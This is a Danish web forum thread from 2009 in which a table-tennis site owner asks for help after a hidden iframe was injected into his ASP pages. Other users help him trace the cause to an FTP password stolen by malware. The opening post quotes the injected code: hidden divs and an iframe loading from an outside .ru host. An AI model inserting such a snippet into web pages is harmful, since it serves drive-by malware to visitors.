Avatar billede bac Nybegynder
09. oktober 2009 - 18:05 Der er 9 kommentarer

Malware på website (ASP)

Hejsa eksperter

Jeg har lige fundet ud af at jeg hoster malware, det vil sige at der er noget som kan skaffe sig adgang til min default.asp fil på mit webhotel, jeg ringede til min udbyder for at forklare dem om mit problem men den udmærkede sælger forklarede mig at jeg bare kunne bruge .php i stedet for?

Nå lad os holde os til emnet, mit problem er så at google siger at det her er et skadeligt site, ikke just nogen charmeoffensiv for et bordtennis site. Det skal selvfølgelig bare fjernes. Men for at jeg kan det skal jeg selvfølgelig vide hvordan dette problem forsvinder. Og jeg ved simpelthen ikke hvordan de kan ældre på min kildekode som de ikke har adgang til. Koden der bliver tilføjet er følgende:

<div style="display:none">qtgttzucajpmxyfcdacaerdwcmuqzrf<iframe width=358 height=637 src="http://age-info.ru:8080/index.php" ></iframe></div><div style="display:none">ovfnrbsxhdlcnnfnwuirsscbqxrbvzi</div><div style="display:none">kfvmyewmlqyuboowsdsqjsczqbttikt</div><div style="display:none">fitrtsgnybwxoomsmkubstvbpfmlagt</div><div style="display:none">jieibvvspvqgofrtsocdhifoygodzyg</div><div style="display:none">yygutzocsbswfwqxgksyotizagjoqxr</div><div

osv.

Nogen der har nogle helt konkrete tips er meget velkommen

Mvh
Bacarden
Avatar billede keysersoze Guru
09. oktober 2009 - 18:28 #1
Du fortæller ikke så meget om dit site udover at det er ASP - men prøv at kig på SQL Injection og XSS, hvilket nok er de primære trusler.
Avatar billede The Real Yoda Juniormester
09. oktober 2009 - 18:52 #2
Personligt havde jeg nok samtidig valgt at skifte webhotel udbyder til en der faktisk tager et angreb på sine servere seriøst, i stedet for blot at lire noget snot af, som ikke passer..

hvis det er en fejl i sikkerheden var det også sket med php .. hvis det er fejl i koden .. var det også sket med php ..

Og jeg ville ikke finde mig i at vores servere blev angrebet sådan .. men hjælpe til løsning af problemet
Avatar billede superanden Nybegynder
09. oktober 2009 - 18:56 #3
Jeg har haft et angreb præcis magen til (samme russiske URL) på min side også det var en Joomla CMS som kører PHP så det burde ikke kunne være det.

Det var ikke et SQL Injection da det ikke gik i databasen men gik direkte ind og ændrede i kildekoden på alle mine index.php sider. Og det kan man kun gøre ved at have fået fat (f.eks. med bruteforce) på dit FTP password.

Jeg ændrede mit FTP (og alle andre password for en sikkerhedsskyld) og har ikke haft problemer siden. Deres "hack" fik dog hele siden til at gå ned fordi de havde placeret deres kode inden for PHP taggene, virkelig flot hvis det skulle forestille en dygtig hacker. Hehe
Avatar billede bac Nybegynder
10. oktober 2009 - 01:06 #4
Nu har jeg Cliche, og det lyder ret interessant det du skriver superanden, jeg prøver lige at kontakte min udbyder og spørge dem om hvordan og hvorledes, jeg kan se at de i deres sortiment ikke længere sælger ASP løsninger.

Men jeg prøver at ændre mit password til at logge på FTP'en der er vel ikke så meget andet jeg kan gøre. Det er lidt pudsigt at det er to af de sites jeg har hos dem der har det samme problem.
Avatar billede superanden Nybegynder
10. oktober 2009 - 09:54 #5
hvor er det henne? Mit var hos One.com.

Jeg fik at vide at det formentlig var en sikkerhedsfejl i vores CMS eller et af de tilhørende komponenter og han opfordrede mig til at opdaterer alle til den nyeste udgave (hvilket jo godt kunne give mening). Det er dog et stort arbejde som jeg ikke har fået gjort endnu, men efter at have skiftet FTP password har det ikke været problemer igen.

Det undre mig bare meget hvis de har skulle kunne bruteforce vores password da det er 10 karakterer langt og både indeholder tal små og store bogstaver.
Avatar billede superanden Nybegynder
10. oktober 2009 - 09:55 #6
Hov endnu en uddybende kommentar hvis det kan hjælpe.

Første gang slettede jeg bare deres iFrame uden at gøre andet der gik under 24 timer så havde de lagt siden ned igen.
Avatar billede bac Nybegynder
11. oktober 2009 - 14:41 #7
Nå nu fik jeg lokaliseret problemet. Problemet er åbenbart at nogen har lavet et eller andet program som de har frigivet enten shareware eller freeware med en lille dejligt vira gemt som går ind og læser passwords i diverse programmer for derefter at sende det til hackergruppen.

Passwordet er nu ændret og fejlen er rettet, tak for de mange forslag, og smid et svar superanden, så du kan få dine point.

Til de som har samme problem, hjalp det at rense vedkommendes PC som har haft adgang til FTP'en samt at ændre password, læs selv det hele her:

http://badwarebusters.org/main/itemview/9610
Avatar billede superanden Nybegynder
11. oktober 2009 - 15:04 #8
godt du fandt en løsning
Avatar billede The Real Yoda Juniormester
31. december 2009 - 13:22 #9
Lukketid ?
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
IT-kurser om Microsoft 365, sikkerhed, personlig vækst, udvikling, digital markedsføring, grafisk design, SAP og forretningsanalyse.

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester